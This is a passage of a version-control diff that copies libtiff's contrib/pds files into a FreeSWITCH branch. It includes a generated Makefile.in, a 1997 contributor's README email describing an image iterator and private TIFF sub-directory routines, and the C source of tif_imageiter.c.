+ac_ct_DUMPBIN = @ac_ct_DUMPBIN@
+ac_ct_OBJDUMP = @ac_ct_OBJDUMP@
+ac_ct_RANLIB = @ac_ct_RANLIB@
+ac_ct_STRIP = @ac_ct_STRIP@
+acx_pthread_config = @acx_pthread_config@
+am__fastdepCC_FALSE = @am__fastdepCC_FALSE@
+am__fastdepCC_TRUE = @am__fastdepCC_TRUE@
+am__fastdepCXX_FALSE = @am__fastdepCXX_FALSE@
+am__fastdepCXX_TRUE = @am__fastdepCXX_TRUE@
+am__include = @am__include@
+am__leading_dot = @am__leading_dot@
+am__quote = @am__quote@
+am__tar = @am__tar@
+am__untar = @am__untar@
+bindir = @bindir@
+build = @build@
+build_alias = @build_alias@
+build_cpu = @build_cpu@
+build_os = @build_os@
+build_vendor = @build_vendor@
+datadir = @datadir@
+exec_prefix = @exec_prefix@
+host = @host@
+host_alias = @host_alias@
+host_cpu = @host_cpu@
+host_os = @host_os@
+host_vendor = @host_vendor@
+includedir = @includedir@
+infodir = @infodir@
+install_sh = @install_sh@
+libdir = @libdir@
+libexecdir = @libexecdir@
+localstatedir = @localstatedir@
+lt_ECHO = @lt_ECHO@
+mandir = @mandir@
+mkdir_p = @mkdir_p@
+oldincludedir = @oldincludedir@
+prefix = @prefix@
+program_transform_name = @program_transform_name@
+sbindir = @sbindir@
+sharedstatedir = @sharedstatedir@
+sysconfdir = @sysconfdir@
+target = @target@
+target_alias = @target_alias@
+target_cpu = @target_cpu@
+target_os = @target_os@
+target_vendor = @target_vendor@
+EXTRA_DIST = README tif_imageiter.c tif_imageiter.h tif_pdsdirread.c tif_pdsdirwrite.c
+all: all-am
+
+.SUFFIXES:
+$(srcdir)/Makefile.in: @MAINTAINER_MODE_TRUE@ $(srcdir)/Makefile.am  $(am__configure_deps)
+	@for dep in $?; do \
+	  case '$(am__configure_deps)' in \
+	    *$$dep*) \
+	      cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh \
+		&& exit 0; \
+	      exit 1;; \
+	  esac; \
+	done; \
+	echo ' cd $(top_srcdir) && $(AUTOMAKE) --foreign  contrib/pds/Makefile'; \
+	cd $(top_srcdir) && \
+	  $(AUTOMAKE) --foreign  contrib/pds/Makefile
+.PRECIOUS: Makefile
+Makefile: $(srcdir)/Makefile.in $(top_builddir)/config.status
+	@case '$?' in \
+	  *config.status*) \
+	    cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh;; \
+	  *) \
+	    echo ' cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe)'; \
+	    cd $(top_builddir) && $(SHELL) ./config.status $(subdir)/$@ $(am__depfiles_maybe);; \
+	esac;
+
+$(top_builddir)/config.status: $(top_srcdir)/configure $(CONFIG_STATUS_DEPENDENCIES)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+
+$(top_srcdir)/configure: @MAINTAINER_MODE_TRUE@ $(am__configure_deps)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+$(ACLOCAL_M4): @MAINTAINER_MODE_TRUE@ $(am__aclocal_m4_deps)
+	cd $(top_builddir) && $(MAKE) $(AM_MAKEFLAGS) am--refresh
+
+mostlyclean-libtool:
+	-rm -f *.lo
+
+clean-libtool:
+	-rm -rf .libs _libs
+
+distclean-libtool:
+	-rm -f libtool
+uninstall-info-am:
+tags: TAGS
+TAGS:
+
+ctags: CTAGS
+CTAGS:
+
+
+distdir: $(DISTFILES)
+	@srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`; \
+	topsrcdirstrip=`echo "$(top_srcdir)" | sed 's|.|.|g'`; \
+	list='$(DISTFILES)'; for file in $$list; do \
+	  case $$file in \
+	    $(srcdir)/*) file=`echo "$$file" | sed "s|^$$srcdirstrip/||"`;; \
+	    $(top_srcdir)/*) file=`echo "$$file" | sed "s|^$$topsrcdirstrip/|$(top_builddir)/|"`;; \
+	  esac; \
+	  if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \
+	  dir=`echo "$$file" | sed -e 's,/[^/]*$$,,'`; \
+	  if test "$$dir" != "$$file" && test "$$dir" != "."; then \
+	    dir="/$$dir"; \
+	    $(mkdir_p) "$(distdir)$$dir"; \
+	  else \
+	    dir=''; \
+	  fi; \
+	  if test -d $$d/$$file; then \
+	    if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \
+	      cp -pR $(srcdir)/$$file $(distdir)$$dir || exit 1; \
+	    fi; \
+	    cp -pR $$d/$$file $(distdir)$$dir || exit 1; \
+	  else \
+	    test -f $(distdir)/$$file \
+	    || cp -p $$d/$$file $(distdir)/$$file \
+	    || exit 1; \
+	  fi; \
+	done
+check-am: all-am
+check: check-am
+all-am: Makefile
+installdirs:
+install: install-am
+install-exec: install-exec-am
+install-data: install-data-am
+uninstall: uninstall-am
+
+install-am: all-am
+	@$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am
+
+installcheck: installcheck-am
+install-strip:
+	$(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \
+	  install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \
+	  `test -z '$(STRIP)' || \
+	    echo "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'"` install
+mostlyclean-generic:
+
+clean-generic:
+
+distclean-generic:
+	-test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES)
+
+maintainer-clean-generic:
+	@echo "This command is intended for maintainers to use"
+	@echo "it deletes files that may require special tools to rebuild."
+clean: clean-am
+
+clean-am: clean-generic clean-libtool mostlyclean-am
+
+distclean: distclean-am
+	-rm -f Makefile
+distclean-am: clean-am distclean-generic distclean-libtool
+
+dvi: dvi-am
+
+dvi-am:
+
+html: html-am
+
+info: info-am
+
+info-am:
+
+install-data-am:
+
+install-exec-am:
+
+install-info: install-info-am
+
+install-man:
+
+installcheck-am:
+
+maintainer-clean: maintainer-clean-am
+	-rm -f Makefile
+maintainer-clean-am: distclean-am maintainer-clean-generic
+
+mostlyclean: mostlyclean-am
+
+mostlyclean-am: mostlyclean-generic mostlyclean-libtool
+
+pdf: pdf-am
+
+pdf-am:
+
+ps: ps-am
+
+ps-am:
+
+uninstall-am: uninstall-info-am
+
+.PHONY: all all-am check check-am clean clean-generic clean-libtool \
+	distclean distclean-generic distclean-libtool distdir dvi \
+	dvi-am html html-am info info-am install install-am \
+	install-data install-data-am install-exec install-exec-am \
+	install-info install-info-am install-man install-strip \
+	installcheck installcheck-am installdirs maintainer-clean \
+	maintainer-clean-generic mostlyclean mostlyclean-generic \
+	mostlyclean-libtool pdf pdf-am ps ps-am uninstall uninstall-am \
+	uninstall-info-am
+
+# Tell versions [3.59,3.63) of GNU make to not export all variables.
+# Otherwise a system limit (for SysV at least) may be exceeded.
+.NOEXPORT:

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/pds/README

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/pds/README (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/pds/README) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/pds/README	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/pds/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,90 @@
+Date:    Fri, 01 Aug 1997 20:14:52 MDT
+To:      Sam Leffler <sam@cthulhu.engr.sgi.com>
+
+From:    "Conrad J. Poelman (WSAT)" <poelmanc@plk.af.mil>
+Subject: Potential TIFF library additions
+
+Delivery-Date: Fri, 01 Aug 1997 19:21:06 -0700
+
+Sam,
+
+You probably don't remember me, but I sent in a couple of bug fixes
+regarding the TIFF library about a 16 months ago or so...
+
+I just wanted to send you two other additions that I have made to our
+local version of the TIFF library in hopes that you will want to
+incorporate them into your next major release of the TIFF library.
+(These additions are based on TIFF version 3.4beta31, but they sit on
+top of the library so they shouldn't be much trouble to incorporate them
+into any more recent version.) They are internally documented to a
+reasonable extent and we've been successfully using them in our code
+here for over a year. If you think they would make good additions to the
+TIFF library, I'd be happy to clean them up more, document them more,
+and/or integrate them with the latest version of the TIFF library, but I
+figured I'd see if you were interested in using them before I went to
+all that trouble.
+
+TIFF Image Iterator
+-------------------
+Your ReadRGBA() routine works well for reading many different formats
+(TILED, STIP, compressed or not, etc.) of the most basic types of data
+(RGB, 8-bit greyscale, 8-bit colormapped) into an SGI-style data array,
+and serves as a good template for users with other needs. I used it as
+an exmaple of how to make an iterator which, rather than fill a data
+array, calls an arbitrary user-supplied callback function for each
+"chunk" of data - that "chunk" might be a strip or a tile, and might
+have one sample-per-pixel or two, and might be 8-bit data or 16-bit or
+24-bit. The callback function can do whatever it wants with the data -
+store it in a big array, convert it to RGBA, or draw it directly to the
+screen. I was able to use this iterator to read 16-bit greyscale and 32-
+and 64-bit floating point data, which wasn't possible with ReadRGBA().
+
+I have tested this routine with 8- and 16-bit greyscale data as well as
+with 32- and 64-bit floating point data. I believe nearly all of our
+data is organized in strips, so actually I'd appreciate it if you had
+some tiled images that I could test it with.
+
+It should certainly be possible and would be cleanest to reimplement
+ReadRGBA() in terms of the image iterator, but I haven't done that.
+
+
+Private Sub-Directory Read/Write
+--------------------------------
+TIFF-PL is a Phillips Laboratory extension to the TIFF tags that allows
+us to store satellite imaging-specific information in a TIFF format,
+such as the satellite's trajectory, the imaging time, etc. In order to
+give us the flexibility to modify the tag definitions without getting
+approval from the TIFF committee every time, we were given only three
+TIFF tags - a PL signature, a PL version number, and PL directory
+offset, which lists the position in the file at which to find a private
+sub-directory of tags-value pairs. So I wrote two routines:
+TIFFWritePrivateDataSubDirectory(), which takes a list of tags and a
+"get" function and writes the tag values into the TIFF file, returning
+the offset within the file at which it wrote the directory; and
+TIFFReadPrivateDataSubDirectory(), which takes an offset, a list of
+tags, and a "set" function and reads all the data from the private
+directory. The functions themselves are pretty simple. (The files are
+huge because I had to basically copy all of the tif_dirread.c and
+tif_dirwrite.c files in order to access the various fetching routines
+which were all declared static and therefore inaccessible in the TIFF
+library.)
+
+
+I'm including the four source files (tif_imgiter.h, tif_imgiter.c,
+tif_pdsdirread.c, tif_pdsdirwrite.c) in case you want to take a look at
+them. I can also send you some sample code that uses them if you like.
+If you're interested in having them incorporated into the standard TIFF
+library, I'd be happy to do that integration and clean up and document
+the routines. (For example, I've already realized that instead of
+limiting the SEP callback function to three bands (R,G,B) it should take
+an array to enable the handling of n-banded multi-spectral data...) If
+not, I'll just leave them as they are, since they work fine for us now.
+
+Holler if you have any questions.
+
+-- Conrad
+__________________________________________________________________
+  Capt Conrad J. Poelman         PL/WSAT   (Phillips Laboratory)
+    505-846-4347                   3550 Aberdeen Ave SE 
+      (FAX) 505-846-4374             Kirtland AFB, NM 87117-5776
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/pds/tif_imageiter.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/pds/tif_imageiter.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/pds/tif_imageiter.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/pds/tif_imageiter.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/pds/tif_imageiter.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,518 @@
+/* $Header: /cvs/maptools/cvsroot/libtiff/contrib/pds/tif_imageiter.c,v 1.3 2005/12/21 12:23:13 joris Exp $ */
+
+/*
+ * Copyright (c) 1991-1996 Sam Leffler
+ * Copyright (c) 1991-1996 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+/*
+ * TIFF Library
+ *
+ * Written by Conrad J. Poelman, PL/WSAT, Kirtland AFB, NM on 26 Mar 96.
+ *
+ * This file contains code to allow a calling program to "iterate" over each
+ * pixels in an image as it is read from the file. The iterator takes care of
+ * reading strips versus (possibly clipped) tiles, decoding the information
+ * according to the decoding method, and so on, so that calling program can
+ * ignore those details. The calling program does, however, need to be
+ * conscious of the type of the pixel data that it is receiving.
+ *
+ * For reasons of efficiency, the callback function actually gets called for 
+ * "blocks" of pixels rather than for individual pixels. The format of the
+ * callback arguments is given below.
+ *
+ * This code was taken from TIFFReadRGBAImage() in tif_getimage.c of the original
+ * TIFF distribution, and simplified and generalized to provide this general
+ * iteration capability. Those routines could certainly be re-implemented in terms
+ * of a TIFFImageIter if desired.
+ *
+ */
+#include "tiffiop.h"
+#include "tif_imageiter.h"
+#include <assert.h>
+#include <stdio.h>
+
+static	int gtTileContig(TIFFImageIter*, void *udata, uint32, uint32);
+static	int gtTileSeparate(TIFFImageIter*, void *udata, uint32, uint32);
+static	int gtStripContig(TIFFImageIter*, void *udata, uint32, uint32);
+static	int gtStripSeparate(TIFFImageIter*, void *udata, uint32, uint32);
+
+static	const char photoTag[] = "PhotometricInterpretation";
+
+static int
+isCCITTCompression(TIFF* tif)
+{
+    uint16 compress;
+    TIFFGetField(tif, TIFFTAG_COMPRESSION, &compress);
+    return (compress == COMPRESSION_CCITTFAX3 ||
+	    compress == COMPRESSION_CCITTFAX4 ||
+	    compress == COMPRESSION_CCITTRLE ||
+	    compress == COMPRESSION_CCITTRLEW);
+}
+
+int
+TIFFImageIterBegin(TIFFImageIter* img, TIFF* tif, int stop, char emsg[1024])
+{
+    uint16* sampleinfo;
+    uint16 extrasamples;
+    uint16 planarconfig;
+    int colorchannels;
+
+    img->tif = tif;
+    img->stoponerr = stop;
+    TIFFGetFieldDefaulted(tif, TIFFTAG_BITSPERSAMPLE, &img->bitspersample);
+    img->alpha = 0;
+    TIFFGetFieldDefaulted(tif, TIFFTAG_SAMPLESPERPIXEL, &img->samplesperpixel);
+    TIFFGetFieldDefaulted(tif, TIFFTAG_EXTRASAMPLES,
+	&extrasamples, &sampleinfo);
+    if (extrasamples == 1)
+	switch (sampleinfo[0]) {
+	case EXTRASAMPLE_ASSOCALPHA:	/* data is pre-multiplied */
+	case EXTRASAMPLE_UNASSALPHA:	/* data is not pre-multiplied */
+	    img->alpha = sampleinfo[0];
+	    break;
+	}
+    colorchannels = img->samplesperpixel - extrasamples;
+    TIFFGetFieldDefaulted(tif, TIFFTAG_PLANARCONFIG, &planarconfig);
+    if (!TIFFGetField(tif, TIFFTAG_PHOTOMETRIC, &img->photometric)) {
+	switch (colorchannels) {
+	case 1:
+	    if (isCCITTCompression(tif))
+		img->photometric = PHOTOMETRIC_MINISWHITE;
+	    else
+		img->photometric = PHOTOMETRIC_MINISBLACK;
+	    break;
+	case 3:
+	    img->photometric = PHOTOMETRIC_RGB;
+	    break;
+	default:
+	    sprintf(emsg, "Missing needed %s tag", photoTag);
+	    return (0);
+	}
+    }
+    switch (img->photometric) {
+    case PHOTOMETRIC_PALETTE:
+	if (!TIFFGetField(tif, TIFFTAG_COLORMAP,
+	    &img->redcmap, &img->greencmap, &img->bluecmap)) {
+		TIFFErrorExt(tif->tif_clientdata, TIFFFileName(tif), "Missing required \"Colormap\" tag");
+	    return (0);
+	}
+	/* fall thru... */
+    case PHOTOMETRIC_MINISWHITE:
+    case PHOTOMETRIC_MINISBLACK:
+/* This should work now so skip the check - BSR
+	if (planarconfig == PLANARCONFIG_CONTIG && img->samplesperpixel != 1) {
+	    sprintf(emsg,
+		"Sorry, can not handle contiguous data with %s=%d, and %s=%d",
+		photoTag, img->photometric,
+		"Samples/pixel", img->samplesperpixel);
+	    return (0);
+	}
+ */
+	break;
+    case PHOTOMETRIC_YCBCR:
+	if (planarconfig != PLANARCONFIG_CONTIG) {
+	    sprintf(emsg, "Sorry, can not handle YCbCr images with %s=%d",
+		"Planarconfiguration", planarconfig);
+	    return (0);
+	}
+	/* It would probably be nice to have a reality check here. */
+	{ uint16 compress;
+	  TIFFGetField(tif, TIFFTAG_COMPRESSION, &compress);
+	  if (compress == COMPRESSION_JPEG && planarconfig == PLANARCONFIG_CONTIG) {
+	    /* can rely on libjpeg to convert to RGB */
+	    /* XXX should restore current state on exit */
+	    TIFFSetField(tif, TIFFTAG_JPEGCOLORMODE, JPEGCOLORMODE_RGB);
+	    img->photometric = PHOTOMETRIC_RGB;
+	  }
+	}
+	break;
+    case PHOTOMETRIC_RGB: 
+	if (colorchannels < 3) {
+	    sprintf(emsg, "Sorry, can not handle RGB image with %s=%d",
+		"Color channels", colorchannels);
+	    return (0);
+	}
+	break;
+    case PHOTOMETRIC_SEPARATED: {
+	uint16 inkset;
+	TIFFGetFieldDefaulted(tif, TIFFTAG_INKSET, &inkset);
+	if (inkset != INKSET_CMYK) {
+	    sprintf(emsg, "Sorry, can not handle separated image with %s=%d",
+		"InkSet", inkset);
+	    return (0);
+	}
+	if (img->samplesperpixel != 4) {
+	    sprintf(emsg, "Sorry, can not handle separated image with %s=%d",
+		"Samples/pixel", img->samplesperpixel);
+	    return (0);
+	}
+	break;
+    }
+    default:
+	sprintf(emsg, "Sorry, can not handle image with %s=%d",
+	    photoTag, img->photometric);
+	return (0);
+    }
+    TIFFGetField(tif, TIFFTAG_IMAGEWIDTH, &img->width);
+    TIFFGetField(tif, TIFFTAG_IMAGELENGTH, &img->height);
+
+    TIFFGetFieldDefaulted(tif, TIFFTAG_ORIENTATION, &img->orientation);
+    switch (img->orientation) {
+    case ORIENTATION_BOTRIGHT:
+    case ORIENTATION_RIGHTBOT:	/* XXX */
+    case ORIENTATION_LEFTBOT:	/* XXX */
+	TIFFWarning(TIFFFileName(tif), "using bottom-left orientation");
+	img->orientation = ORIENTATION_BOTLEFT;
+	/* fall thru... */
+    case ORIENTATION_BOTLEFT:
+	break;
+    case ORIENTATION_TOPRIGHT:
+    case ORIENTATION_RIGHTTOP:	/* XXX */
+    case ORIENTATION_LEFTTOP:	/* XXX */
+    default:
+	TIFFWarning(TIFFFileName(tif), "using top-left orientation");
+	img->orientation = ORIENTATION_TOPLEFT;
+	/* fall thru... */
+    case ORIENTATION_TOPLEFT:
+	break;
+    }
+
+    img->isContig =
+	!(planarconfig == PLANARCONFIG_SEPARATE && colorchannels > 1);
+    if (img->isContig) {
+	img->get = TIFFIsTiled(tif) ? gtTileContig : gtStripContig;
+    } else {
+	img->get = TIFFIsTiled(tif) ? gtTileSeparate : gtStripSeparate;
+    }
+    return (1);
+}
+
+int
+TIFFImageIterGet(TIFFImageIter* img, void *udata, uint32 w, uint32 h)
+{
+    if (img->get == NULL) {
+	TIFFErrorExt(img->tif->tif_clientdata, TIFFFileName(img->tif), "No \"get\" routine setup");
+	return (0);
+    }
+    if (img->callback.any == NULL) {
+	TIFFErrorExt(img->tif->tif_clientdata, TIFFFileName(img->tif),
+		"No \"put\" routine setupl; probably can not handle image format");
+	return (0);
+    }
+    return (*img->get)(img, udata, w, h);
+}
+
+TIFFImageIterEnd(TIFFImageIter* img)
+{
+    /* Nothing to free... ? */
+}
+
+/*
+ * Read the specified image into an ABGR-format raster.
+ */
+int
+TIFFReadImageIter(TIFF* tif,
+    uint32 rwidth, uint32 rheight, uint8* raster, int stop)
+{
+    char emsg[1024];
+    TIFFImageIter img;
+    int ok;
+
+    if (TIFFImageIterBegin(&img, tif, stop, emsg)) {
+	/* XXX verify rwidth and rheight against width and height */
+	ok = TIFFImageIterGet(&img, raster, rwidth, img.height);
+	TIFFImageIterEnd(&img);
+    } else {
+	TIFFErrorExt(tif->tif_clientdata, TIFFFileName(tif), emsg);
+	ok = 0;
+    }
+    return (ok);
+}
+
+
+/*
+ * Get an tile-organized image that has
+ *	PlanarConfiguration contiguous if SamplesPerPixel > 1
+ * or
+ *	SamplesPerPixel == 1
+ */	
+static int
+gtTileContig(TIFFImageIter* img, void *udata, uint32 w, uint32 h)
+{
+    TIFF* tif = img->tif;
+    ImageIterTileContigRoutine callback = img->callback.contig;
+    uint16 orientation;
+    uint32 col, row;
+    uint32 tw, th;
+    u_char* buf;
+    int32 fromskew;
+    uint32 nrow;
+
+    buf = (u_char*) _TIFFmalloc(TIFFTileSize(tif));
+    if (buf == 0) {
+	TIFFErrorExt(tif->tif_clientdata, TIFFFileName(tif), "No space for tile buffer");
+	return (0);
+    }
+    TIFFGetField(tif, TIFFTAG_TILEWIDTH, &tw);
+    TIFFGetField(tif, TIFFTAG_TILELENGTH, &th);
+    orientation = img->orientation;
+    for (row = 0; row < h; row += th) {
+	nrow = (row + th > h ? h - row : th);
+	for (col = 0; col < w; col += tw) {
+	    if (TIFFReadTile(tif, buf, col, row, 0, 0) < 0 && img->stoponerr)
+		break;
+	    if (col + tw > w) {
+		/*
+		 * Tile is clipped horizontally.  Calculate
+		 * visible portion and skewing factors.
+		 */
+		uint32 npix = w - col;
+		fromskew = tw - npix;
+		(*callback)(img, udata, col, row, npix, nrow, fromskew, buf);
+	    } else {
+		(*callback)(img, udata, col, row, tw, nrow, 0, buf);
+	    }
+	}
+    }
+    _TIFFfree(buf);
+    return (1);
+}
+
+/*
+ * Get an tile-organized image that has
+ *	 SamplesPerPixel > 1
+ *	 PlanarConfiguration separated
+ * We assume that all such images are RGB.
+ */	
+static int
+gtTileSeparate(TIFFImageIter* img, void *udata, uint32 w, uint32 h)
+{
+    TIFF* tif = img->tif;
+    ImageIterTileSeparateRoutine callback = img->callback.separate;
+    uint16 orientation;
+    uint32 col, row;
+    uint32 tw, th;
+    u_char* buf;
+    u_char* r;
+    u_char* g;
+    u_char* b;
+    u_char* a;
+    tsize_t tilesize;
+    int32 fromskew;
+    int alpha = img->alpha;
+    uint32 nrow;
+
+    tilesize = TIFFTileSize(tif);
+    buf = (u_char*) _TIFFmalloc(4*tilesize);
+    if (buf == 0) {
+	TIFFErrorExt(tif->tif_clientdata, TIFFFileName(tif), "No space for tile buffer");
+	return (0);
+    }
+    r = buf;
+    g = r + tilesize;
+    b = g + tilesize;
+    a = b + tilesize;
+    if (!alpha)
+	memset(a, 0xff, tilesize);
+    TIFFGetField(tif, TIFFTAG_TILEWIDTH, &tw);
+    TIFFGetField(tif, TIFFTAG_TILELENGTH, &th);
+    orientation = img->orientation;
+    for (row = 0; row < h; row += th) {
+	nrow = (row + th > h ? h - row : th);
+	for (col = 0; col < w; col += tw) {
+	    if (TIFFReadTile(tif, r, col, row,0,0) < 0 && img->stoponerr)
+		break;
+	    if (TIFFReadTile(tif, g, col, row,0,1) < 0 && img->stoponerr)
+		break;
+	    if (TIFFReadTile(tif, b, col, row,0,2) < 0 && img->stoponerr)
+		break;
+	    if (alpha && TIFFReadTile(tif,a,col,row,0,3) < 0 && img->stoponerr)
+		break;
+	    if (col + tw > w) {
+		/*
+		 * Tile is clipped horizontally.  Calculate
+		 * visible portion and skewing factors.
+		 */
+		uint32 npix = w - col;
+		fromskew = tw - npix;
+		(*callback)(img, udata, col, row, npix, nrow, fromskew, r, g, b, a);
+	    } else {
+		(*callback)(img, udata, col, row, tw, nrow, 0, r, g, b, a);
+	    }
+	}
+    }
+    _TIFFfree(buf);
+    return (1);
+}
+
+/*
+ * Get a strip-organized image that has
+ *	PlanarConfiguration contiguous if SamplesPerPixel > 1
+ * or
+ *	SamplesPerPixel == 1
+ */	
+static int
+gtStripContig(TIFFImageIter* img, void *udata, uint32 w, uint32 h)
+{
+    TIFF* tif = img->tif;
+    ImageIterTileContigRoutine callback = img->callback.contig;
+    uint16 orientation;
+    uint32 row, nrow;
+    u_char* buf;
+    uint32 rowsperstrip;
+    uint32 imagewidth = img->width;
+    tsize_t scanline;
+    int32 fromskew;
+
+    buf = (u_char*) _TIFFmalloc(TIFFStripSize(tif));
+    if (buf == 0) {
+	TIFFErrorExt(tif->tif_clientdata, TIFFFileName(tif), "No space for strip buffer");
+	return (0);
+    }
+    orientation = img->orientation;
+    TIFFGetFieldDefaulted(tif, TIFFTAG_ROWSPERSTRIP, &rowsperstrip);
+    scanline = TIFFScanlineSize(tif);
+    fromskew = (w < imagewidth ? imagewidth - w : 0);
+    for (row = 0; row < h; row += rowsperstrip) {
+	nrow = (row + rowsperstrip > h ? h - row : rowsperstrip);
+	if (TIFFReadEncodedStrip(tif, TIFFComputeStrip(tif, row, 0),
+	    buf, nrow*scanline) < 0 && img->stoponerr)
+		break;
+	(*callback)(img, udata, 0, row, w, nrow, fromskew, buf);
+    }
+    _TIFFfree(buf);
+    return (1);
+}
+
+/*
+ * Get a strip-organized image with
+ *	 SamplesPerPixel > 1
+ *	 PlanarConfiguration separated
+ * We assume that all such images are RGB.
+ */
+static int
+gtStripSeparate(TIFFImageIter* img, void *udata, uint32 w, uint32 h)
+{
+    TIFF* tif = img->tif;
+    ImageIterTileSeparateRoutine callback = img->callback.separate;
+    uint16 orientation;
+    u_char *buf;
+    u_char *r, *g, *b, *a;
+    uint32 row, nrow;
+    tsize_t scanline;
+    uint32 rowsperstrip;
+    uint32 imagewidth = img->width;
+    tsize_t stripsize;
+    int32 fromskew;
+    int alpha = img->alpha;
+
+    stripsize = TIFFStripSize(tif);
+    r = buf = (u_char *)_TIFFmalloc(4*stripsize);
+    if (buf == 0) {
+	TIFFErrorExt(tif->tif_clientdata, TIFFFileName(tif), "No space for tile buffer");
+	return (0);
+    }
+    g = r + stripsize;
+    b = g + stripsize;
+    a = b + stripsize;
+    if (!alpha)
+	memset(a, 0xff, stripsize);
+    orientation = img->orientation;
+    TIFFGetFieldDefaulted(tif, TIFFTAG_ROWSPERSTRIP, &rowsperstrip);
+    scanline = TIFFScanlineSize(tif);
+    fromskew = (w < imagewidth ? imagewidth - w : 0);
+    for (row = 0; row < h; row += rowsperstrip) {
+	nrow = (row + rowsperstrip > h ? h - row : rowsperstrip);
+	if (TIFFReadEncodedStrip(tif, TIFFComputeStrip(tif, row, 0),
+	    r, nrow*scanline) < 0 && img->stoponerr)
+	    break;
+	if (TIFFReadEncodedStrip(tif, TIFFComputeStrip(tif, row, 1),
+	    g, nrow*scanline) < 0 && img->stoponerr)
+	    break;
+	if (TIFFReadEncodedStrip(tif, TIFFComputeStrip(tif, row, 2),
+	    b, nrow*scanline) < 0 && img->stoponerr)
+	    break;
+	if (alpha &&
+	    (TIFFReadEncodedStrip(tif, TIFFComputeStrip(tif, row, 3),
+	    a, nrow*scanline) < 0 && img->stoponerr))
+	    break;
+	(*callback)(img, udata, 0, row, w, nrow, fromskew, r, g, b, a);
+    }
+    _TIFFfree(buf);
+    return (1);
+}
+
+DECLAREContigCallbackFunc(TestContigCallback)
+{
+    printf("Contig Callback called with x = %d, y = %d, w = %d, h = %d, fromskew = %d\n",
+	   x, y, w, h, fromskew);
+}
+
+
+DECLARESepCallbackFunc(TestSepCallback)
+{
+    printf("Sep Callback called with x = %d, y = %d, w = %d, h = %d, fromskew = %d\n",
+	   x, y, w, h, fromskew);
+}
+
+
+#ifdef MAIN
+main(int argc, char **argv)
+{
+    char emsg[1024];
+    TIFFImageIter img;
+    int ok;
+    int stop = 1;
+
+    TIFF *tif;
+    unsigned long nx, ny;
+    unsigned short BitsPerSample, SamplesPerPixel;
+    int isColorMapped, isPliFile;
+    unsigned char *ColorMap;
+    unsigned char *data;
+
+    if (argc < 2) {
+	fprintf(stderr,"usage: %s tiff_file\n",argv[0]);
+	exit(1);
+    }
+    tif = (TIFF *)PLIGetImage(argv[1], (void *) &data, &ColorMap, 
+			      &nx, &ny, &BitsPerSample, &SamplesPerPixel, 
+			      &isColorMapped, &isPliFile);
+    if (tif != NULL) {
+
+	if (TIFFImageIterBegin(&img, tif, stop, emsg)) {
+	    /* Here need to set data and callback function! */
+	    if (img.isContig) {
+		img.callback = TestContigCallback;
+	    } else {
+		img.callback = TestSepCallback;
+	    }
+	    ok = TIFFImageIterGet(&img, NULL, img.width, img.height);
+	    TIFFImageIterEnd(&img);
+	} else {
+	    TIFFErrorExt(tif->tif_clientdata, TIFFFileName(tif), emsg);
+	}
+    }
+    
+}
+#endif

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/pds/tif_imageiter.h

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/pds/tif_imageiter.h (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/pds/tif_imageiter.h) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/pds/tif_imageiter.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/pds/tif_imageiter.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,57 @@
+typedef struct _TIFFImageIter TIFFImageIter;
+
+/* The callback function is called for each "block" of image pixel data after
